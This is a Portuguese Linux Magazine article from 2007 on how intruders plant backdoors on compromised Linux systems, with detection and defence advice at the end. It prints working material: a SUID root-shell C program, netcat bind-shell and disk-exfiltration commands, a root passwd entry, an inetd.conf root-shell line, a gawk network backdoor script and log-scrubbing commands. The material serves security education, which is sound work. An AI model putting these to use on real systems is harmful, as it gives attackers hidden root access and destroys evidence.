Passagem secreta
Transcrição
Passagem secreta
Técnicas de criação de backdoors CAPA Passagem secreta As backdoors oferecem aos invasores acesso irrestrito a um sistema zumbi. Para impedir que esse tipo de ameaça se instale, leia esta análise das ferramentas usadas pelos criminosos. por Amir Alsbih A pós efetuar um ataque com sucesso, um cracker não vai simplesmente relaxar e ver o que acontece. Explorar uma vulnerabilidade e obter acesso de root é apenas metade da história. Geralmente o invasor prefere continuar explorando a máquina, desferindo ataques a partir dela. Para facilitar, ele normalmente tenta manipulála após obter acesso inicial. O processo de invasão inclui cinco fases: ➧ O agressor explora uma falha de segurança local ou de rede para obter o controle do computador da vítima; ➧ Depois aumenta seus privilégios para ganhar status de administrador. Isso é necessário para que ele consiga apagar arquivos de registro ou instalar rootkits [1]; ➧ Em seguida apaga todos os vestígios de seu ataque manipulando arquivos de registro, ou wtmp e utmp, e limpando o arquivo de histórico; ➧ Então instala rootkits que ajudam a manter o ataque oculto. Graças ao rootkit, os administradores da máquina comprometida perdem a capacidade de visualizar os processos, conexões e arquivos do invasor; ➧ Enfim, o último passo é instalar uma backdoor para facilitar o acesso. Ela mantém a máquina firmemente sob o domínio do agressor, mesmo que a brecha de segurança que permitiu o ataque já tenha sido corrigida. As primeiras etapas desse ataque receberam atenção considerável, mas costuma ser difícil encontrar informações sobre a fase final (e crucial) da backdoor. O que significa um invasor instalar uma backdoor? Este artigo 34 examina técnicas para se construir uma porta de entrada para um sistema comprometido. Processo Após limpar o log e implementar utilitários de um rootkit com fins de ocultação, o agressor já pode prosseguir para o último passo: instalar uma backdoor. A backdoor mais fácil e simples é a brecha de segurança já explorada pelo invasor para ganhar acesso ao computador. Se a máquina receber atualizações apenas esporadicamente – o que é o caso de muitos computadores domésticos ou escolares – essa abordagem pode ser extremamente eficiente, pois reduz bastante os vestígios. A principal desvantagem dessa abordagem é o risco de se perder acesso à máquina caso a vítima resolva instalar uma atualização. Outro problema reside no fato de que a falha de segurança original normalmente não dará ao cracker acesso ao terminal. Vários criminosos profissionais preferem fechar as brechas de segurança que utilizaram na invasão inicial, apenas para evitar que um script kiddie entre pelo mesmo caminho e levante suspeitas. Devido a essa necessidade de uma forma melhor de invasão, diversos crackers instalam programas especiais de backdoor. Há duas categorias de backdoors: ➧ Locais: Se um usuário já possuir uma conta no sistema (como é o caso em ataques “de dentro”), não será necessária uma backdoor para abrir uma porta. Em vez disso, o usuário pode simplesmente entrar no sistema localmente e se concen- trar em obter mais privilégios. Isso é chamado de backdoor local. ➧ Remotas: Se o cracker não possuir uma senha legítima na máquina, a backdoor terá que oferecer acesso na forma de uma shell remota. O cracker precisará desta, com privilégios de root para evitar o uso repetitivo de um exploit do kernel ou outra técnica de ganho de privilégios a cada visita. Os mecanismos de segurança e sistemas de proteção continuaram ao longo dos anos, e as ferramentas de detecção de invasões e sistemas de prevenção estão presentes por padrão atualmente. Para acompanhar o ritmo, as backdoors tornaram-se mais sofisticadas. Muitas técnicas antigas de backdoor parecem ingênuas hoje em dia; contudo, é importante lembrar que a segurança não era levada tão a sério há poucos anos. Sob essas circunstâncias, técnicas simples costumavam ser mais eficientes, especialmente devido ao fato de que os invasores podiam confiar na atitude relaxada dos administradores quanto à segurança. Backdoors locais Uma backdoor local requer que o agressor possua acesso legítimo ao sistema. Nos últimos anos houve poucas mudanças nas técnicas mais antigas. Uma backdoor local pode consistir em um script ou um programa em C que dá ao invasor o controle sobre uma shell com privilégios de root. Para isso, o script ou programa especifica a flag SUID. Geralmente, o programa é assim: http://www.linuxmagazine.com.br Backdoor | CAPA int main() { setuid(0); setgid(0); execl(“/bin/sh”, “ps”, “-i”, NULL); return 0; } Obviamente o invasor precisará limpar o wtmp e o utmp, assim como os arquivos de registro, para eliminar os vestígios. Netcat O comando setuid(0) especifica a ID de usuário em 0 (root), enquanto o setgid(0) muda o grupo de acordo com o usuário. Em seguida, o programa abre uma shell que se mostra como o processo ps na lista de processos. Os invasores normalmente ocultam esses scripts nas profundezas do sistema de arquivos, executando-os toda vez que desejam rodar uma shell de root. Outras backdoors locais costumam usar a forma de binários modificados. Como o Código Aberto está sempre disponível, é fácil crackers modificarem os programas e depois usarem-nos em substituição aos programas originais. Mais uma vez, isso só vale a pena se o comando for executado com privilégios de root. A backdoor eject é um exemplo de backdoor binária. Digitar eject -t abre ou fecha uma unidade de CD. Uma versão modificada do eject verifica se uma determinada variável de ambiente está especificada, e também se o conteúdo da variável está de acordo com a senha especificada no eject. Se o resultado for positivo, a ferramenta eject manipulada presenteará com uma shell de root o usuário que a executou. Como o parâmetro -t fecha a unidade de CD, um usuário na vizinhança da máquina alvo não perceberá o ataque. O utilitário Netcat também é uma backdoor popular. Ele tem a capacidade, por exemplo, de clonar discos rígidos. Para isso, o cracker digita o comando dd if=/dev/hda | netcat IPdestino_porta na origem e depois entra netcat -l -p porta > /dev/sda no sistema alvo, criando assim uma cópia idêntica do disco rígido de origem, incluindo quaisquer dados confidenciais nele armazenados. Entretanto, a abordagem típica para usar o Netcat como backdoor é ordenar ao programa que redirecione sua saída para uma shell. Se uma conexão for estabelecida com o sistema alvo, a entrada será passada diretamente à shell. O invasor precisa apenas digitar netcat -l -p 1234 -e /bin/bash na máquina alvo, e netcat IPdestino 1234 na máquina invasora. Roubando senhas Backdoor do inetd A backdoor simplista envolve adicionar um usuário com privilégios de root a / etc/passwd ou /etc/shadow. O melhor local para inserir um novo usuário é em algum ponto no meio do arquivo, pois os administradores geralmente não os lêem com muita atenção. O arquivo passwd deve ficar assim após a adição: ... hacker_do_mal:x:0:0:Conta do hacker do ➥mal:/root:/bin/bash ... Acrescentar uma conta de usuário significa que o agressor não necessita de um serviço específico; em vez disso, ele pode autenticar-se remota e localmente. Usando um serviço como SSH, o invasor pode tirar proveito do fato de que a sessão é impossível de analisar, mesmo com ferramentas como o tcpdump, pois ela usa uma conexão criptografada. Linux Magazine #29 | Abril de 2007 Mau uso do Awk Poucos usuários compreendem o potencial destrutivo da clássica ferramenta Awk. Grugq demonstrou o Awk como backdoor durante a Blackhat Conference, em 2005. O ataque vincula o Awk a uma porta definida (exemplo 1). O invasor, então, pode digitar netcat endereçodestino 8080 para se conectar ao sistema alvo e receber uma simples shell. O superservidor inetd também permite que agressores implementem backdoors simples. A técnica é bem simples: o agressor define um novo serviço acrescentando uma linha em /etc/inetd.conf. Pode-se usar a porta 79, na qual normalmente quem escuta é o daemon do finger. A entrada para instalar um serviço de backdoor com uma shell de root interativa é semelhante a: finger stream tcp nowait root /bin/sh sh -i. Como a porta 79 pertence a um serviço padrão, o invasor pode simplesmente usar a palavra-chave finger. O inetd verifica o arquivo /etc/services, busca se a porta apropriada está liberada e, caso esteja, começa a escutar nessa porta. Se o cracker utilizasse uma porta desconhecida, sem uma entrada respectiva em /etc/services, em vez do finger, seria necessário acrescentar uma entrada relativa ao serviço em /etc/services. Depois disso, o cracker poderia rodar netcat contra a porta do finger na máquina alvo, e assim obter uma shell de root. Backdoor do PAM Os Pluggable Authentication Modules (PAM) oferecem interfaces de programação para serviços de autenticação. A maioria das aplicações utiliza essa biblioteca atualmente, o que a torna um alvo particularmente interessante para atacantes enxertarem uma backdoor. Uma forma de comprometer o PAM é manipular o arquivo support.c no códigofonte do PAM para incluir uma senha secreta padrão. Depois, o módulo verifica se a senha passada está de acordo com a secreta e, se sim, autentica o invasor com sucesso. Se não, o método normal de autenticação é utilizado. Isso significa que cada um dos usuários no sistema (incluindo o root) possui duas senhas: uma armazenada em /etc/ shadow e uma senha esqueleto guardada na biblioteca PAM manipulada. Loki 2 O Loki 2 [3] foi publicado na Phrack Magazine como uma prova de conceito de túnel de backdoor. A ferramenta disfarça comandos shell escondendo-os em pacotes ICMP echo, ICMP echo reply e requisições e respostas de buscas de nomes DNS. Um capturador de pacotes de rede como o tcpdump será incapaz de detectar qualquer tráfego suspeito num primeiro momento, pois o ataque não depende de portas que deveriam estar fechadas. Entretanto, analisando com mais atenção, o tráfego ICMP ou DNS incomum é um sinal. O Loki baseia-se em uma arquitetura cliente-servidor, e suporta criptografia por algoritmos como Blowfish e Xor. Isso dificulta bastante a reconstituição de uma sessão. Em aplicações práticas, as respostas a ICMP echo fazem mais sentido do que as requisições ICMP, pois vários firewalls bloqueiam pedidos que chegam, enquanto permitem que as respostas o atravessem Figura 1 O phpRemoteShell oferece acesso oculto a agressores com qualquer navegador web. O invasor precisa apenas inserir um arquivo em um diretório adequado. 35 CAPA | Backdoor – afinal, não faz sentido bloquear as respostas aos pings feitos por seus usuários. Backdoors pela Web Os invasores desenvolveram backdoors acessíveis pela Web com o objetivo de atravessar firewalls cuidadosamente criados. A lógica básica por trás disso é que o servidor web sempre precisa permitir o acesso a partir da Web, ou seja, sempre haverá uma porta aberta a ser explorada pelo criminoso. Isso levou ao desenvolvimento de backdoors para CGI e PHP. Ambas funcionam sobre os mesmos princípios, e oferecem ao agressor o acesso através do navegador. Uma grande vantagem de backdoors web é que o acesso ao servidor pode ser tunelado através de serviços de anonimato, como o Tor e o JAP. O phpRemoteShell [4] é um exemplo desse tipo de backdoor. O invasor apenas oculta o arquivo PHP em algum local das profundezas do sistema de arquivos, atribuindo a ele as permissões adequadas. Nada mais é necessário para obter o acesso através de qualquer navegador (figura 1). A shell oculta expõe informações do sistema e executa comandos arbitrários na máquina alvo. Ao mesmo tempo, inclui um navegador de diretórios que suporta o upload e o download de arquivos (figura 2). Alguns backdoors web estabelecem uma conexão com um servidor web mestre e aceitam comandos embutidos no código HTML. A vantagem é que a conexão é iniciada de dentro do perímetro da rede, o que muitas vezes auxilia o invasor a contornar o firewall. O fato de os comandos estarem escondidos no código HTML é outra grande vantagem, pois dificulta a detecção do código larápio por especialistas forenses. O túnel WWW reverso [5] é um exemplo desse tipo de backdoor. Figura 2 36 Backdoors web como o phpRemoteShell oferecem recursos convenientes de download e upload de arquivos de qualquer tipo. Quadro 1: Limpeza de registros Eliminar vestígios é um dos primeiros passos do invasor experiente. O grep é a forma mais fácil para fazer isso. A opção -v suprime linhas que coincidam com uma dada expressão regular. Por exemplo, se quisermos apagar do log todas as linhas que contenham o endereço IP 192.168.100.12, usaremos os seguintes passos: cat arquivo_de_log |grep -v “192.168.100.102” >> arquivo_de_log.mod mv arquivo_de_log.mod arquivo_de_log É claro que esse método não é realmente seguro. Seria bem fácil recuperar as entradas originais com uma ferramenta forense. Infelizmente, basta essa abordagem simples para enganar a maioria dos administradores. Um cracker mais obstinado usaria o wipe no arquivo de log original para apagá-lo, em vez de apenas sobrescrevê-lo. Um limpador de logs como o do Darklab.org1 também pode ser útil. Bindshell Todos os tipos de backdoors examinados até agora possuem uma grande desvantagem: não oferecem suporte ao terminal. São todos orientados à linha de comandos, o que explica por que não se consegue rodar programas orientados a caracteres, tais como o vi. Uma backdoor sem essa desvantagem, e com suporte ao terminal, é o bindtty [6], do cracker sd. Existe uma ferramenta baseada na arquitetura cliente-servidor, na qual o componente servidor abre uma porta fixa no sistema alvo (4000, por padrão). Sempre que um cliente se conectar à porta, receberá uma shell com suporte a pseudo-terminais. Isso oferece ao invasor acesso irrestrito ao sistema remoto – uma grande vantagem em comparação com os tipos mais antigos de backdoor. Ao mesmo tempo, a backdoor permite que múltiplos invasores entrem no sistema simultaneamente, uma possibilidade que as backdoors baseadas no netcat ou no gawk não oferecem. Backdoors de captura de pacotes Uma técnica de backdoors relativamente recente é baseada na captura de pacotes. Essas backdoors capturam todo o tráfego em uma interface de rede e respondem a pacotes especialmente criados. O Silentdoor [7] é uma implementação de backdoor de captura de pacotes que usa a funcionalidade de captura provida pela libpcap. A backdoor captura os pacotes destinados à porta UDP 53. Para garantir que a backdoor reaja apenas aos pacotes destinados a ela, o Silentdoor possui uma abordagem de quatro etapas: ➧ Procura os requisitos de uma chave de backdoor; ➧ Descriptografa o conteúdo do pacote (com Xor); ➧ Verifica se os dados decifrados realmente contêm um comando para o Silentdoor; ➧ Executa o comando. Mais uma vez, essa backdoor não oferece ao invasor o suporte ao terminal. A maior força do Silentdoor é o fato de que fica bem escondido e somente utiliza uma porta enquanto a conexão existir. É possível encontrar backdoors de captura de pacotes buscando conexões SSL, pacotes com componentes criptográficos e conexões com portas desconhecidas. Safebreaker O Safebreaker [8] pertence à próxima geração de backdoors de captura de pacotes. A motivação para seu desenvolvimento foi criar uma backdoor que não dependesse da libpcap do tcpdump [9], que possui muitos problemas de estabilidade e está ausente em diversos sistemas. Ao mesmo tempo, os desenvolvedores queriam que o Safebreaker usasse uma combinação de técnicas contemporâneas e demonstrasse os riscos potenciais que emanam de uma nova geração de backdoors. Outro importante objetivo é o de substituir a fraca criptografia por Xor por um método mais robusto. Os desenvolvedores do Safebreaker consideraram três bibliotecas para essa tarefa: OpenSSL[10], GnuTLS [11] e Cryptlib [12], optando, ao final, pela GnuTLS, devido à excelente documentação, seus recursos e à facilidade de integração com softwares já existentes. Apenas algumas linhas de código são necessárias para modificar as funções já existentes de recepção e envio de pacotes, além de fornecer à backdoor uma conexão criptografada. Basicamente, o Safebreaker funciona da seguinte maneira: ➧ Para cada pacote que chega, verifica se é um pacote TCP. Caso não seja, não pode conter uma mensagem para http://www.linuxmagazine.com.br Backdoor | CAPA Tabela 1: Ferramentas de backdoor Nome Descrição Origem Kaiten Uma backdoor para IRC. Ela se liga à porta 6667 de um servidor IRC, e espera comandos em um canal. Entre outras coisas, a backdoor suporta vários ataques de sobrecarga, e pode executar comandos arbitrários. http://packetstorm.linuxsecurity.com/irc/kaiten.c Netcat Devido à sua capacidade de passar sua entrada e saída para outros programas, o Netcat é usado com freqüência como backdoor por script kiddies. http://netcat.sourceforge.net phpRemoteShell O phpRemoteShell é uma backdoor web; invasores podem simplesmente jogá-la em um diretório com suporte a PHP. A shell remota dá ao agressor acesso a uma shell, e suporta a navegação em diretórios, assim como upload e download de arquivos. http://phpremoteshell.labs.libre-entreprise.org/ Backdoor de túnel WWW reverso Uma backdoor para contornar diversos firewalls. Ela se conecta a um servidor web mestre, e aceita comandos embutidos no código de páginas web. http://packetstormsecurity.org/ groups/thc/rwwwshell-2.0.pl.gz Bindtty Uma backdoor com suporte a terminal. O Bindtty escuta na porta 4000, por padrão. http://www.2701.org/archive/200311240000.html Silentdoor O Silentdoor é uma backdoor de última geração. Ele não escuta em uma porta específica, mas usa a libpcap para capturar o tráfego da rede. Quando detecta um pacote especialmente criado, o Silentdoor pode fornecer uma shell, por exemplo. http://cmn.listprojects.darklab. org/SAdoor-20031217.tgz Safebreaker Uma backdoor de nova geração que utiliza RAW sockets em C para capturar o tráfego da rede, e fornece um terminal ou se conecta de volta caso detecte um pacote especialmente criado. Para ofuscar o conteúdo da sessão, usa o gnutls na criptografia do tráfego. http://www.informatik.uni-freiburg.de/~alsbiha/code.htm Loki Uma backdoor que usa pacotes ICMP para tunelar comandos. Os pacotes podem ser criptografados por Blowfish ou XOR. http://packetstorm.linuxsecurity.com Arquivos SUID Arquivos SUID podem ser substituídos por binários com cavalos de tróia embutidos. O invasor pode obter privilégios de root usando um parâmetro ou especificando uma variável de ambiente. Backdoor do PAM Como os Pluggable Authentication Modules são a interface padrão para autenticação no Linux, uma senha padrão pode ser embutida em support.c para suportar a autenticação baseada em qualquer servidor que use o software PAM manipulado. @/etc/passwd@, /etc/shadow e /etc/inetd.conf Os invasores normalmente acrescentam nesses arquivos novos usuários com privilégios de root, ou serviços que permitam que agressores se autentiquem. a backdoor, e então ela prossegue à análise do próximo pacote; ➧ Para cada pacote TCP, compara a porta alvo a um valor fixo. Apenas pacotes com um número de porta específico são endereçados à backdoor, e todos os outros podem ser ignorados. A backdoor não bloqueia ou abre a porta. A avaliação da porta alvo serve simplesmente para restringir ainda mais o número de pacotes possivelmente destinados à backdoor. Isso não tem qualquer efeito sobre o serviço que estiver usando a porta no momento; ➧ O próximo passo é verificar se os campos SYN e ACK estão assinalados conforme esperado; ➧ Se sim, o próximo passo é verificar se a ID do pacote coincide com a ID mágica da backdoor; ➧ Na última etapa, podemos ter uma certeza razoável de que o pacote contém instruções destinadas à Linux Magazine #29 | Abril de 2007 backdoor. Nesse caso, o número da seqüência do pacote é avaliado. Certos números de seqüência representam comandos específicos. O Safebreaker pode realizar duas tarefas distintas: tanto ligar-se a um pseudo-terminal na porta especificada pelo pacote, repassando o controle ao remetente, quanto conectar-se de volta ao cliente, novamente usando a porta especificada no pacote. Essa técnica contorna a maioria das regras de firewall, pois elas freqüentemente permitem qualquer conexão de saída que tenha sido iniciada na rede interna. Essa técnica apenas bloqueia uma porta se existir uma conexão entre o invasor e a backdoor, ou seja, quando o cracker estiver registrado no sistema – o netstat não mostra a conexão em nenhuma outra circunstância. Outra vantagem é que a backdoor não é acessível para usuários arbitrários; para acessá-la, são necessários os valores corretos de porta, número de seqüência e ID. Encontrando backdoors É sempre bom usar um verificador de integridade do sistema de arquivos como o Tripwire [13]. Ele monitora arquivos e diretórios críticos do sistema através de somas, comparando-as periodicamente com seus valores históricos. Se o Tripwire detectar uma alteração, ele notifica o administrador. Isso também oferece aos administradores a capacidade de reconstruir quais arquivos sofreram alterações, foram apagados ou criados durante um ataque. Isso não cobre cenários nos quais o invasor apaga o binário após iniciar a backdoor. A ferramenta está na memória, mas não 37 CAPA | Backdoor Exemplo 1: Backdoor do Awk 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/usr/bin/gawk -f BEGIN { Port = 8080 # Porta para escutar Prompt = “bkd> “ # Prompt a ser mostrado # Abrir uma porta para escutar Service = “/inet/tcp/” Port “/0/0” while (1) { do { # Mostrar o prompt printf Prompt |& Service # Ler o comando Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) # Executar o comando, # retornar a resposta print $0 |& Service close(cmd) } } while (cmd != “exit”) close(Service) } no disco. Apesar de um reinício eliminar a backdoor, o Tripwire e ferramentas similares não conseguem detectar o ataque. Também é interessante verificar os arquivos /etc/shadow, /etc/passwd e /etc/ inetd.conf em intervalos regulares. Pode-se fazer isso simplesmente comparando-os através de cópia numa mídia protegida contra gravação usando diff. Se seu servidor SSH suportar o login por chave, verifique o arquivo authorized_keys em busca de entradas indevidas. Nesse caso, o invasor nem precisaria de uma senha para se autenticar. Para os grandes arquivos, o diff [14] novamente é uma boa escolha. Outra medida de proteção é procurar regularmente arquivos SUID que possam ser explorados como backdoors. A forma mais fácil para isso é com o comando: find / -type f -perm -04000 -ls -uid 0 2>/ ➥dev/null Como uma backdoor independente também é um processo independente, a ID e o nome do processo aparecerão na lista de processos, a menos que tenham sido ocultados por um rootkit como o Override15. É por isso que a maioria das backdoors se esconde atrás de nomes pouco chamativos, como ps. É fácil sobrescrever o nome do programa sobrescrevendo argv [0]. Por outro lado, esse tipo de camuflagem é bem trivial. Apenas verifique o tempo de execução do processo, e se você vir um ps em execução há mais de 12 horas, pode concluir que ele é um processo larápio. 38 Também é importante atentar ao fato de que backdoors simples escutam conexões de entrada em uma porta fixa. Essa porta será mostrada na saída do netstat. Entretanto, como rootkits como o Override são capazes de ocultar portas, jamais se deve sentir seguro demais: o comando netstat -an |grep LISTEN |grep -v LISTENING mostra uma lista de portas abertas. Varredores de portas (portscanners) oferecem uma abordagem mais confiável para investigar as portas. Rastrear backdoors novíssimas de captura de pacotes é uma tarefa mais difícil. O netstat somente mostra uma conexão quando um cliente entra na máquina, e uma porta não pode ser aberta nesse caso. Em outras palavras, o netstat não pode ajudar nesse ponto, principalmente se alguma conexão de rede já estiver estabelecida com a rede interna. Nesse caso, um varredor de portas também seria incapaz de ajudar. A única abordagem nesse cenário é usar um capturador de redes como o tcpdump ou o Wireshark [16] (antigo Ethereal). Como backdoors de captura de pacotes usam um procedimento fixo para verificar se um pacote é destinado à backdoor, só se pode detectá-los verificando padrões recorrentes no tráfego de rede. Afinal, é improvável que uma porta use um número de seqüência e uma ID idênticos o tempo todo. Se você definir regras que verificam isso, será bem fácil detectar anomalias no tráfego de rede. Sistemas de IPS (prevenção de intrusão) e IDS (detecção de intrusão) também podem ajudar a evitar backdoors conhecidas. Defesa Não existe uma solução única para todas as backdoors. Se um agressor conseguiu instalar uma backdoor em seu sistema, a segurança provavelmente já possuía algumas brechas. Uma boa backdoor sempre requer privilégios de root. Uma vez que um intruso obtenha status de root, pode-se supor que o sistema não esteja mais saudável. O mais importante a ser lembrado em relação à proteção contra backdoors é a necessidade de uma política de segurança robusta, além da urgência de se aplicar patches de segurança regularmente. Regras de firewall comprovadamente seguras também podem contribuir para a segurança do sistema. Suas regras devem seguir a máxima de negar tudo que não seja explicitamente permitido. As regras de firewall que permitam qualquer tipo de tráfego da rede interna para o mundo externo são um convite aos crackers que usam métodos de conexão de volta (connect back). Por último, é interessante usar proxies e balanceamento de carga. Se você configurar o firewall para se comunicar apenas com os proxies e balanceadores de carga, os crackers passarão por maus bocados para descobrir um vetor de ataque. Agressores ainda conseguirão injetar uma backdoor web; porém, ela não terá privilégios de root ou suporte a terminal, e normalmente não será muito divertida para o invasor. O que quer que você faça, certifique-se de eliminar todas as opções ou serviços desnecessários para sua configuração. ■ Mais Informações [1] Rootkit: Arma secreta. Linux Magazine 22, pg. 28. Agosto de 2006. [2] Logfile cleaner: http://darklab.org/~jot/ logclean-ng/logcleaner-ng.html [3] Loki 2: http://artofhacking. com/files/phrack/phrack51/ live/aoh_p51-06.htm [4] Phpremoteshell, por Emmanuel Saracco: http://labs.libre-entreprise.org [5] rwwwshell, por Van Hauser: http://gray-world.net/ papers/rwwwshell.txt [6] Bindtty: http://www.2701.org/ archive/200311240000.html [7] Silentdoor, por Brandon Edwards: http://www.megasecurity. org/trojans/s/silentdoor/ Silentdoor.html [8] Safebreaker, por Amir Alsbih: http://www.informatik.unifreiburg.de/~alsbiha [9] TCPDump: http://www.tcpdump.org/ [10] OpenSSL: http://www.openssl.org [11] GnuTLS: http://www.gnu.org/software/gnutls/ [12] Cryptlib, por Peter Gutmann: http://www.cs.auckland. ac.nz/~pgut001/cryptlib/ [13] Tripwire: http://sourceforge. net/projects/tripwire/ [14] Diffutils: http://www.gnu.org/software/ diffutils/diffutils.html [15] Rootkit Override: http://www.informatik.unifreiburg.de/~alsbiha [16] Wireshark: http://www.wireshark.org http://www.linuxmagazine.com.br
Documentos relacionados
Manutenção
conhecidos. Um simples editor hexadecimal pode alterar detalhes do vírus e torná-lo, novamente, indetectado por um tempo. Até que as empresas que ganham dinheiro com esse tipo de pânico corram para...
Leia mais